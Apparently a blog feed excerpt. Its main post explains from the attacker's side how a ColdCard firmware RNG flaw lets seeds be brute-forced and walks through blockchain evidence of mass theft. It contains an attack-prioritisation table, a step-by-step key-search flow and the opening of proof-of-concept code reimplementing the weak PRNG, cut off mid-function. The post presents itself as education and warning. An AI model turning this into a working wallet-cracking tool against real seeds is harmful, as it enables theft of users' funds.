          <td>&ldquo;A machine exists&rdquo; ≠ &ldquo;they robbed you&rdquo;; migration should be underway</td>
      </tr>
  </tbody>
</table>
<p>The paper is serious and its math stands, now confirmed by open, independent reproduction. The threat is real enough to justify action, and the reason has a name: Mosca&rsquo;s theorem. Since migrating takes years, you start before the machine exists, the same way you replace a roof before the storm, while the weather&rsquo;s good.</p>
<p>But none of this is &ldquo;sell everything, Bitcoin is done.&rdquo; The attack is about exposed keys, it&rsquo;s a subset of addresses, it needs a machine that&rsquo;s orders of magnitude from existing, and the defenses that matter now are boring hygiene: don&rsquo;t reuse addresses, don&rsquo;t park reserves in an exposed key, and migrate to post-quantum when the tooling matures.</p>
<p>Mining is not at risk, your modern no-reuse wallet is not at risk today, and the strongest passphrase in the world changes none of it.</p>
<p>That&rsquo;s how to read Google&rsquo;s paper: a competent, self-aware warning, from people who know the subject, saying the window to migrate calmly is narrower than intuition suggests — and still wider than the headline makes it look. <a href="https://arxiv.org/abs/2603.28846"target="_blank" rel="noopener">Read it straight from the source</a> and draw your own conclusion. Just don&rsquo;t fall for &ldquo;it&rsquo;s over&rdquo; or &ldquo;it&rsquo;s all a lie.&rdquo; The interesting answer, as almost always, lives in the middle.</p>
]]></content:encoded><category>quantum-computing</category><category>bitcoin-and-cryptocurrency</category><category>security</category></item><item><title>Exploiting Coinkite's RNG Egregious Problem</title><link>https://akitaonrails.github.io/en/2026/08/01/exploiting-coinkites-rng-egregious-problem/</link><guid isPermaLink="true">https://akitaonrails.github.io/en/2026/08/01/exploiting-coinkites-rng-egregious-problem/</guid><pubDate>Sat, 01 Aug 2026 09:00:00 -0300</pubDate><description>&lt;p&gt;Yesterday I published the practical warning: &lt;a href="https://akitaonrails.github.io/en/2026/07/31/urgent-if-you-keep-bitcoin-on-a-coldcard-move-everything/"&gt;if you keep Bitcoin on a ColdCard, move everything&lt;/a&gt;. Today I will show &lt;strong&gt;how&lt;/strong&gt; it works from the attacker&amp;rsquo;s side. This is not a tutorial for stealing; it is a didactic explanation of a bug class that few people know from the inside, using real blockchain data and code any programmer can read.&lt;/p&gt;
&lt;p&gt;The didactic code in this article was generated with &lt;strong&gt;Kimi K3&lt;/strong&gt;. It is worth noting that, given the same prompt, both &lt;strong&gt;Claude&lt;/strong&gt; and &lt;strong&gt;GPT&lt;/strong&gt; refused to produce the same kind of example — both cited risk of malicious use, even though the goal here is exactly the opposite: to show why the vulnerability works so victims understand the risk and can protect themselves.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Yesterday I published the practical warning: <a href="/en/2026/07/31/urgent-if-you-keep-bitcoin-on-a-coldcard-move-everything/">if you keep Bitcoin on a ColdCard, move everything</a>. Today I will show <strong>how</strong> it works from the attacker&rsquo;s side. This is not a tutorial for stealing; it is a didactic explanation of a bug class that few people know from the inside, using real blockchain data and code any programmer can read.</p>
<p>The didactic code in this article was generated with <strong>Kimi K3</strong>. It is worth noting that, given the same prompt, both <strong>Claude</strong> and <strong>GPT</strong> refused to produce the same kind of example — both cited risk of malicious use, even though the goal here is exactly the opposite: to show why the vulnerability works so victims understand the risk and can protect themselves.</p>
<p>The goal is to answer, line by line, a question many people asked: &ldquo;if the ColdCard stays offline, how did the bitcoins disappear?&rdquo;.</p>
<blockquote>
  <p><strong>Warning:</strong> the code here is educational. Running it against addresses that are not yours is a crime. Use it to understand the risk, test your own seeds in a controlled environment, and reinforce why you need to generate fresh entropy.</p>

</blockquote>
<h2>Summary of the previous post<span class="hx:absolute hx:-mt-20" id="summary-of-the-previous-post"></span>
    <a href="#summary-of-the-previous-post" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Between March 2021 and the July 2026 fix, several ColdCard firmwares generated seeds from a deterministic generator instead of the hardware TRNG. The blame lies in a botched integration: the macro <code>MICROPY_HW_ENABLE_RNG</code> was defined as <code>0</code>, but the guard in <code>libNgU</code> used <code>#ifndef</code>, which only asks whether the symbol exists. The build succeeded, the <code>rng_get()</code> call fell through to MicroPython&rsquo;s <a href="http://www.literatecode.com/yasmarang"target="_blank" rel="noopener">Yasmarang</a> software fallback, and the seed became a product of the microcontroller UID and timing registers.</p>
<p>For readers who do not work with hardware, here is what those acronyms mean:</p>
<ul>
<li><strong>UID</strong> (<em>Unique Identifier</em>) is the serial number burned into the microcontroller chip at the factory. In the STM32F4 used by the ColdCard, it is 96 bits long — something like <code>0x4A3F B201 C847 D5E9 1234 5678</code>. Every chip leaves the assembly line with a different UID, but it is fixed and can be read by software. If the attacker knows (or can constrain) this number, they eliminate one of the unknowns.</li>
<li><strong>RTC</strong> (<em>Real-Time Clock</em>) is the microcontroller&rsquo;s real-time clock. In a PC, that clock is usually backed by a coin-cell battery and keeps running while the machine is off. <strong>The ColdCard has no such battery.</strong> On Mk2/Mk3 the RTC oscillator is disabled at startup, which strongly suggests that the <code>RTC-&gt;TR</code> and <code>RTC-&gt;SSR</code> registers read as zero or a static value every time the device cold-boots. On Mk4/Q/Mk5 an RTC source is configured but marked unused, and MicroPython&rsquo;s RTC initialization remains disabled. In other words, &ldquo;time&rdquo; is not a fresh entropy source here — it is another fixed or predictable value that an attacker can profile.</li>
<li><strong>SysTick</strong> is another timer, this one inside the ARM core itself, counting at high speed — typically from 0 to <code>0x00FFFFFF</code> and rolling over. When the firmware reads this counter at seed-creation time, it captures a value like <code>0x003D7A12</code>. Because the RTC likely does not vary across cold boots, SysTick becomes practically the only dynamic element of the initial state. <a href="https://engineering.block.xyz/blog/predictable-rng-fallback-and-32-bit-reseed-in-coldcard-firmware"target="_blank" rel="noopener">Block</a> estimates that, by itself, it can shrink the space to ~80,000 possibilities (~16 bits).</li>
</ul>
<p>Block&rsquo;s <a href="https://engineering.block.xyz/blog/predictable-rng-fallback-and-32-bit-reseed-in-coldcard-firmware"target="_blank" rel="noopener">independent analysis</a> and Coinkite&rsquo;s <a href="https://blog.coinkite.com/entropy-technical-backgrounder/"target="_blank" rel="noopener">technical backgrounder</a> agree on the mechanism, although they differ on impact details. Yesterday&rsquo;s post has the full affected-firmware table.</p>
<p>The central point is: <strong>the effective entropy dropped from at least 128 bits to roughly 40 bits on the Mk3 and 72 bits (with caveats) on newer models.</strong> Forty bits are not secure. They are enumerable with cheap hardware.</p>
<h2>The wallet does not sit &ldquo;inside&rdquo; the ColdCard<span class="hx:absolute hx:-mt-20" id="the-wallet-does-not-sit-inside-the-coldcard"></span>
    <a href="#the-wallet-does-not-sit-inside-the-coldcard" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Before diving into the attack, repeat the basics. Bitcoin does not sit inside the device. The public blockchain contains UTXOs — transaction outputs — locked by scripts. What your wallet stores is the material to produce signatures that satisfy those scripts.</p>
<p>In the most common case, a native SegWit address is derived from a public key, which in turn comes from a private key, which is just an integer inside the domain of the <code>secp256k1</code> curve. Whoever knows the integer can sign. Whoever does not, cannot.</p>
<p>That is why the ColdCard can be powered off, battery-less, inside a safe. The attacker does not need to touch it. They only need to reproduce the same integer that the device drew. With a weak RNG, that stops being impossible and becomes a small search space.</p>
<p>You can see any wallet on the blockchain. Just paste an address or xpub into an explorer like <a href="https://mempool.space"target="_blank" rel="noopener">mempool.space</a>. The explorer shows balance, UTXOs, and history because that data is public by design. The ColdCard, Ledger, Sparrow, Electrum — none of them &ldquo;hold&rdquo; your bitcoins; they only keep the keys that let you spend the UTXOs in the global ledger.</p>
<h2>How the attacker prioritizes models<span class="hx:absolute hx:-mt-20" id="how-the-attacker-prioritizes-models"></span>
    <a href="#how-the-attacker-prioritizes-models" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Not all models are equally easy to attack. The priority order follows the search-space size:</p>
<table>
  <thead>
      <tr>
          <th>Model / firmware</th>
          <th>What the attacker must guess</th>
          <th>Approximate space</th>
          <th>Priority</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Mk2/Mk3 v4.0.0–v4.1.9</td>
          <td>Chip UID, timer state, RNG call history</td>
          <td>~40 bits in Coinkite&rsquo;s model; deterministic if everything is known</td>
          <td><strong>1st — attack first</strong></td>
      </tr>
      <tr>
          <td>Mk4/Q/Mk5 without successful reseed</td>
          <td>Same fallback as above, with possible silent secure-element failure</td>
          <td>~41 bits</td>
          <td><strong>2nd</strong></td>
      </tr>
      <tr>
          <td>Mk4/Q/Mk5 with normal reseed</td>
          <td>Fallback state + 32 bits from secure element</td>
          <td>~72 bits raw, of which 32 bits are real added secret</td>
          <td><strong>3rd — more expensive</strong></td>
      </tr>
      <tr>
          <td>Mk1; Mk2/Mk3 up to v3.2.2</td>
          <td>Hardware TRNG working</td>
          <td>~256 bits</td>
          <td>unreachable</td>
      </tr>
  </tbody>
</table>
<p>Why is the Mk3 the easiest? Because it has no cryptographic contribution from a secure element. The Yasmarang fallback is fully deterministic given the UID and timer state. If the attacker knows (or can constrain) those values, there is no residual secret. Coinkite estimates the effective space at about 40 bits; <a href="https://engineering.block.xyz/blog/predictable-rng-fallback-and-32-bit-reseed-in-coldcard-firmware"target="_blank" rel="noopener">Block</a> shows that, because Mk2/Mk3 RTC values likely start at zero or a static value on cold boot, SysTick alone limits the space to ~80,000 values, i.e. ~16 bits.</p>
<p>On Mk4/Q/Mk5 the secure-element reseed adds 32 bits. That is enough to make the attack much more expensive — but still far from the acceptable 128-bit minimum. Block also points out a source path where a caught exception during initialization can prevent the reseed, falling back to the smaller space.</p>
<p>A rational attacker starts with the biggest return: Mk2/Mk3 v4. Only with leftover resources do they move to Mk4/Q/Mk5.</p>
<h2>128 bits, 40 bits, and 72 bits: what is the difference?<span class="hx:absolute hx:-mt-20" id="128-bits-40-bits-and-72-bits-what-is-the-difference"></span>
    <a href="#128-bits-40-bits-and-72-bits-what-is-the-difference" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Bits measure the size of the search space. Each extra bit doubles the work. The difference is not small — it is exponential.</p>
<p>Imagine you can test <strong>1 billion candidates per second</strong>:</p>
<table>
  <thead>
      <tr>
          <th>Bits</th>
          <th>Candidates</th>
          <th>Time to search exhaustively</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>40</td>
          <td>~1.1 trillion</td>
          <td>~18 minutes</td>
      </tr>
      <tr>
          <td>72</td>
          <td>~4.7 sextillion</td>
          <td>~150,000 years</td>
      </tr>
      <tr>
          <td>128</td>
          <td>~3.4 × 10³⁸</td>
          <td>~10²² years (many orders of magnitude beyond the age of the universe)</td>
      </tr>
  </tbody>
</table>
<p>Another way to picture it: 40 bits is like finding a specific leaf in a small forest. 72 bits is like finding a specific grain of sand on all the beaches on Earth. 128 bits is like finding a specific atom among the atoms of thousands of planets.</p>
<p>That is why 40 bits is not &ldquo;slightly less secure&rdquo; than 128. It is a completely different category: practical to attack with common hardware. 72 bits already demands serious resources, but still falls short of the acceptable minimum for storing value. 128 bits is the standard because, with known computing power, it cannot be beaten.</p>
<h2>From an integer to a wallet<span class="hx:absolute hx:-mt-20" id="from-an-integer-to-a-wallet"></span>
    <a href="#from-an-integer-to-a-wallet" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Below is a real example of how a number (the entropy) becomes a seed, a private key, and an address. I used 16 bytes (128 bits) just to fit on one line; the ColdCard used 32 bytes, but the idea is the same.</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">embit.bip39</span> <span class="kn">import</span> <span class="n">mnemonic_from_bytes</span><span class="p">,</span> <span class="n">mnemonic_to_seed</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">embit.bip32</span> <span class="kn">import</span> <span class="n">HDKey</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">embit.script</span> <span class="kn">import</span> <span class="n">p2wpkh</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">entropy</span> <span class="o">=</span> <span class="nb">bytes</span><span class="o">.</span><span class="n">fromhex</span><span class="p">(</span><span class="s2">&#34;0123456789abcdef0123456789abcdef&#34;</span><span class="p">)</span>  <span class="c1"># 128 bits</span>
</span></span><span class="line"><span class="cl"><span class="n">mnemonic</span> <span class="o">=</span> <span class="n">mnemonic_from_bytes</span><span class="p">(</span><span class="n">entropy</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">seed</span> <span class="o">=</span> <span class="n">mnemonic_to_seed</span><span class="p">(</span><span class="n">mnemonic</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">root</span> <span class="o">=</span> <span class="n">HDKey</span><span class="o">.</span><span class="n">from_seed</span><span class="p">(</span><span class="n">seed</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">key</span> <span class="o">=</span> <span class="n">root</span><span class="o">.</span><span class="n">derive</span><span class="p">(</span><span class="s2">&#34;m/84&#39;/0&#39;/0&#39;/0/0&#34;</span><span class="p">)</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Output:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">entropy (128 bits): 0123456789abcdef0123456789abcdef
</span></span><span class="line"><span class="cl">mnemonic (12 words): abuse boss fly battle rubber wasp afraid hamster guide essence vibrant tattoo
</span></span><span class="line"><span class="cl">seed (64 bytes): a3a99acc7fe076cdc923d0ae79ee735671d8d70a79de19593cca8638f3194251...
</span></span><span class="line"><span class="cl">root xprv: xprv9s21ZrQH143K25JhKqEwvJW7QAiVvkmi4WRenBZanA6kxHKtKAQQKwZG65kC...
</span></span><span class="line"><span class="cl">private key (integer): 1332683685242456724974769347593961509584253593377187298409830148921683854281
</span></span><span class="line"><span class="cl">address: bc1qxjayuwxqj04waw2j4xp5mlhjl47dzdl9mcjmnw</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>The private key is just an integer. From it, the <a href="/2019/11/26/akitando-68-entendendo-conceitos-basicos-de-criptografia-parte-2-2/">elliptic curve</a> computes the public key; the public key is hashed into the address. The address is what appears on the blockchain; the integer is what lets you spend.</p>
<p>In the ColdCard case, the integer did not have 128 bits of real randomness. It had ~40. So instead of searching for a needle in the universe, the attacker was searching for a needle in a small forest.</p>
<h2>Real evidence on the blockchain<span class="hx:absolute hx:-mt-20" id="real-evidence-on-the-blockchain"></span>
    <a href="#real-evidence-on-the-blockchain" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>I am not making up numbers. The independent site <a href="https://coldcard-watch.vercel.app/"target="_blank" rel="noopener">coldcard-watch.vercel.app</a> has been tracking the drains transaction by transaction and publishes the verified minimum: <strong>1,128.6633 BTC</strong> drained from <strong>2,334 confirmed addresses</strong>. The site itself stresses that these are <strong>verified minimums, not totals</strong> — other clusters likely exist.</p>
<p>It identifies two draining episodes:</p>
<ul>
<li><strong>July 30, 2026</strong>, blocks <strong>960183 to 960191</strong> — 1,195 addresses drained.</li>
<li><strong>July 31, 2026</strong>, blocks <strong>960345 to 960369</strong> — 1,126 addresses drained.</li>
</ul>
<p>The main public clusters making up that minimum include:</p>
<ul>
<li><a href="https://mempool.space/address/bc1qnk4zh9qcnap2mycp56qjrgza3cc8ylrh8fecp0"target="_blank" rel="noopener"><code>bc1qnk4zh9qcnap2mycp56qjrgza3cc8ylrh8fecp0</code></a> — <a href="https://mempool.space/address/bc1qnk4zh9qcnap2mycp56qjrgza3cc8ylrh8fecp0"target="_blank" rel="noopener">received 594.47723261 BTC</a> in 501 outputs.</li>
<li><a href="https://mempool.space/address/bc1qx76cae2706qd5q576feh7xq8rfcsjpf2htfhe3"target="_blank" rel="noopener"><code>bc1qx76cae2706qd5q576feh7xq8rfcsjpf2htfhe3</code></a> — <a href="https://mempool.space/tx/14edd9ee8445793c320e92e3b50365a0e18b8b25f424044bce337463f007fdd2"target="_blank" rel="noopener">received ~398.476 BTC</a> in a single transaction with 491 inputs (<a href="https://mempool.space/tx/14edd9ee8445793c320e92e3b50365a0e18b8b25f424044bce337463f007fdd2"target="_blank" rel="noopener"><code>14edd9ee...</code></a>).</li>
<li><a href="https://mempool.space/address/bc1q8jy96fe5lf8vfugydnte3cguk92gpev7kwtp3q"target="_blank" rel="noopener"><code>bc1q8jy96fe5lf8vfugydnte3cguk92gpev7kwtp3q</code></a> — <a href="https://mempool.space/tx/4b50d61a3d6e54c62ee0be13d7e9a8b69bffe7fc2b2cab4e14da56e4e20440d2"target="_blank" rel="noopener">received ~89.623 BTC</a> in a single transaction with 204 inputs (<a href="https://mempool.space/tx/4b50d61a3d6e54c62ee0be13d7e9a8b69bffe7fc2b2cab4e14da56e4e20440d2"target="_blank" rel="noopener"><code>4b50d61a...</code></a>).</li>
</ul>
<p>Just these three clusters already sum to ~1,082 BTC; the remaining verified transactions bring the confirmed minimum to <strong>1,128.6633 BTC</strong>.</p>
<blockquote>
  <p>The first cluster moved ~562 BTC to <a href="https://mempool.space/address/bc1qq85v2c926eg6pgxhwp6q7lf6cnsz80qs3fcu9r"target="_blank" rel="noopener"><code>bc1qq85v2c926eg6pgxhwp6q7lf6cnsz80qs3fcu9r</code></a>; that is the same money, not a fourth victim.</p>

</blockquote>
<p>A concrete example: transaction <a href="https://mempool.space/tx/78ac8968ccf5a586d2fb9509f5af13f41e0a288bfa0f0b177d4e4b6bbebad05d"target="_blank" rel="noopener"><code>78ac8968ccf5a586d2fb9509f5af13f41e0a288bfa0f0b177d4e4b6bbebad05d</code></a> consolidates three inputs from the same vulnerable address <a href="https://mempool.space/address/bc1qe85jr4em79p66fsszkvfhwjf6p6qst58a2ahlr"target="_blank" rel="noopener"><code>bc1qe85jr4em79p66fsszkvfhwjf6p6qst58a2ahlr</code></a>, one of them almost <strong>29.9 BTC</strong>. All three inputs use the same compressed public key:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>037dc5356b71d0209d5d97315450166c07e7bba67d2e53c0154f5c56eb06f6970e</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>So three different UTXOs, same owner, same private key. The attacker found that key and signed all of them at once.</p>
<p>Other source addresses with large values include <a href="https://mempool.space/address/bc1qvshd3nv6mjjs5wtk6x5ekppakdp2trqcsdvwlf"target="_blank" rel="noopener"><code>bc1qvshd3nv6mjjs5wtk6x5ekppakdp2trqcsdvwlf</code></a> (~24.08 BTC), <a href="https://mempool.space/address/bc1q30363smzw6uk5n2znj65mf9432s0e3d92e3fu5"target="_blank" rel="noopener"><code>bc1q30363smzw6uk5n2znj65mf9432s0e3d92e3fu5</code></a> (~14.43 BTC), and <a href="https://mempool.space/address/bc1qgzxfgqgvnle9p6kksk35t54ycu2tx2hwau5ppw"target="_blank" rel="noopener"><code>bc1qgzxfgqgvnle9p6kksk35t54ycu2tx2hwau5ppw</code></a> (~11.74 BTC). You can click each one and watch the UTXOs move to a consolidation address.</p>
<p>Bitcoin Optech <a href="https://bitcoinops.org/en/newsletters/2026/07/31/#wallets-generated-by-coldcard-at-risk-of-theft"target="_blank" rel="noopener">issue 416</a> estimated losses above 1,000 BTC while the case was still unfolding; the independent tracker now confirms <strong>at least 1,128.6633 BTC stolen</strong>.</p>
<h2>What the blockchain timeline suggests about attack order<span class="hx:absolute hx:-mt-20" id="what-the-blockchain-timeline-suggests-about-attack-order"></span>
    <a href="#what-the-blockchain-timeline-suggests-about-attack-order" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p><a href="https://coldcard-watch.vercel.app/"target="_blank" rel="noopener">coldcard-watch</a> shows <strong>two distinct episodes</strong>, separated by more than 24 hours. The first happened between blocks 960183 and 960191 (July 30, around 01:10 UTC); the second between 960345 and 960369 (July 31). Within the first episode, the three large clusters (~594, ~398, and ~89 BTC) were mined in consecutive blocks — so within each wave, the sweeps were launched almost simultaneously.</p>
<p>This two-wave pattern fits two interpretations:</p>
<ol>
<li><strong>Same attacker, pre-computed in batches.</strong> The first wave grabs the easiest, best-funded targets; the second wave comes from a second batch of already pre-computed candidates.</li>
<li><strong>Multiple attackers.</strong> After the flaw became public, other actors joined with their own dictionaries of likely states.</li>
</ol>
<p>Either way, the economics of the attack favor the order in the table above. Mk2/Mk3 v4 is the best return on compute:</p>
<ul>
<li><strong>~40 bits of effective entropy</strong> ≈ 2^40 ≈ <strong>1.1 trillion</strong> candidate states.</li>
<li>On a GPU testing 1 million candidates per second (including BIP32 derivation and explorer lookup), that would take about <strong>13 days</strong> to search exhaustively. With 100 GPUs/FPGAs, it drops to <strong>a few hours</strong>.</li>
<li>Because Mk2/Mk3 RTC values likely start at zero or a static value on cold boot, as <a href="https://engineering.block.xyz/blog/predictable-rng-fallback-and-32-bit-reseed-in-coldcard-firmware"target="_blank" rel="noopener">Block</a> points out, SysTick alone shrinks the space to ~80,000 values (~16 bits), making the search trivial in seconds.</li>
</ul>
<p>Mk4/Q/Mk5 with reseed depends on how well the fallback is known:</p>
<ul>
<li>If the fallback is known, only the <strong>32 bits</strong> from the secure element remain: 2^32 ≈ <strong>4.3 billion</strong> candidates per device, or about <strong>1.2 hours</strong> per device at 1 million/s.</li>
<li>If the fallback is completely unknown, the space rises to ~2^72, about <strong>4.7 sextillion</strong> candidates — infeasible by brute force alone.</li>
</ul>
<p>That is why the first wave should be dominated by Mk3. The second wave, more than a day later, may include additional batches of the same model or harder models where the attacker managed to profile the fallback. Without identifying the model behind each address, we cannot say for sure, but the difficulty order is clear.</p>
<p>The speed also shows the attack did not start from scratch on July 30. To search 1.1 trillion states and find hundreds of funded addresses, the attacker already had infrastructure ready or spent days or weeks pre-computing before moving the first UTXOs.</p>
<h2>What the chain reveals about the operation<span class="hx:absolute hx:-mt-20" id="what-the-chain-reveals-about-the-operation"></span>
    <a href="#what-the-chain-reveals-about-the-operation" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p><a href="https://coldcard-hack.up.railway.app/"target="_blank" rel="noopener">coldcard-hack.up.railway.app</a> analyzes in detail the three waves that emptied 1,082.59 BTC in <strong>41 minutes</strong> (blocks 960183 to 960191). Although the site warns it was compiled by an AI agent and not human-reviewed, the blockchain data is verifiable:</p>
<table>
  <thead>
      <tr>
          <th>Wave</th>
          <th>Block(s)</th>
          <th>BTC</th>
          <th>Addresses</th>
          <th>Note</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>1</td>
          <td>960183</td>
          <td>~89.62</td>
          <td>204</td>
          <td>Took everything, including dust below the fee value.</td>
      </tr>
      <tr>
          <td>2</td>
          <td>960185</td>
          <td>~398.49</td>
          <td>491</td>
          <td>Densest burst; left balances below ~0.108 BTC.</td>
      </tr>
      <tr>
          <td>3</td>
          <td>960188–960191</td>
          <td>~594.48</td>
          <td>500</td>
          <td>The wave the press reported; started 3.5 minutes after wave 2.</td>
      </tr>
  </tbody>
</table>
<p>Notable details:</p>
<ul>
<li><strong>Sorted by balance:</strong> within each wave, transactions were ordered from largest to smallest balance. That is not an accident; it is a priority queue configured in the script.</li>
<li><strong>Identical shape:</strong> all 1,195 sweeps spend every UTXO from a single source address into a single output, with no change. No manual variation.</li>
<li><strong>Uniform fee rate:</strong> median of 30.136986 sat/vB across all waves — the same script choosing the fee.</li>
<li><strong>Address types:</strong> 1,182 were native SegWit (<code>v0_p2wpkh</code>), 7 P2SH-wrapped, and 6 legacy. So the attack was not limited to BIP84, although most ColdCard users hold bech32.</li>
<li><strong>Funds still sitting:</strong> when the site froze its data, the ~1,082 BTC were still in the vaults, with no mixing, no peel chain, and no subsequent movement.</li>
</ul>
<p>All of this points to a single automated operation, not 1,195 independent thefts.</p>
<h2>How this slipped through<span class="hx:absolute hx:-mt-20" id="how-this-slipped-through"></span>
    <a href="#how-this-slipped-through" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>The same <a href="https://coldcard-hack.up.railway.app/"target="_blank" rel="noopener">coldcard-hack.up.railway.app</a> maps the commits that introduced the bug. The most damning facts:</p>
<ul>
<li>The commit that added the wrong <code>#ifndef</code> guard in <code>libngu</code> had a <strong>one-character message</strong>, changed 28 files, and <strong>did not go through a pull request</strong>.</li>
<li>The <code>First pass w/ libNgU</code> commit, which migrated seed generation to libngu and stripped GPL code, changed <strong>120 files</strong> and was also pushed directly, with no PR.</li>
<li>The two later commits that added the 32-bit reseed and the secure-element mixing did open pull requests, but <strong>merged with zero reviews</strong>.</li>
</ul>
<p>A critical change in the entropy-generation path went through without end-to-end review. The correct TRNG existed in the binary; the problem was that the wrong symbol got linked, and nobody wrote a test proving where the seed actually came from.</p>
<h2>The conceptual attack flow<span class="hx:absolute hx:-mt-20" id="the-conceptual-attack-flow"></span>
    <a href="#the-conceptual-attack-flow" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Before the code, the general flow:</p>
<ol>
<li><strong>Reproduce the RNG.</strong> The attacker implements Yasmarang exactly as in the firmware, including the XOR with the second Yasmarang in <code>libNgU</code>.</li>
<li><strong>Enumerate plausible states.</strong> For every combination of UID, SysTick, RTC, and — on newer models — secure-element reseed, they generate the 32 bytes that the ColdCard would have produced as entropy.</li>
<li><strong>Derive the wallet.</strong> From that entropy, compute the BIP39 mnemonic, the BIP32 seed, and the first receiving and change addresses.</li>
<li><strong>Query the blockchain.</strong> For each derived address, ask an explorer or a local node whether a UTXO exists.</li>
<li><strong>Stop at the match.</strong> When a derived address matches an address with balance, the attacker already has the corresponding private key.</li>
<li><strong>Spend.</strong> With the private key, build a transaction that moves the UTXO to an address they control.</li>
</ol>
<p>The blockchain is the oracle. Without it, the attacker would not know which state produced real money. With it, every UTXO found confirms they guessed the key.</p>
<h2>Proof-of-concept code<span class="hx:absolute hx:-mt-20" id="proof-of-concept-code"></span>
    <a href="#proof-of-concept-code" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>The script below is didactic. It is not GPU-optimized, does not run in seconds against 40 bits, and does not handle every firmware variation. What it does is make the attack readable, function by function.</p>
<h3>1. The broken PRNG: Yasmarang<span class="hx:absolute hx:-mt-20" id="1-the-broken-prng-yasmarang"></span>
    <a href="#1-the-broken-prng-yasmarang" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">yasmarang_step</span><span class="p">(</span><span class="n">state</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;state = [pad, n, d, dat]; mutates the list and returns a uint32.&#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">pad</span><span class="p">,</span> <span class="n">n</span><span class="p">,</span> <span class="n">d</span><span class="p">,</span> <span class="n">dat</span> <span class="o">=</span> <span class="n">state</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">pad</span> <span class="o">=</span> <span class="p">(</span><span class="n">pad</span> <span class="o">+</span> <span class="n">dat</span> <span class="o">+</span> <span class="n">d</span> <span class="o">*</span> <span class="n">n</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span>
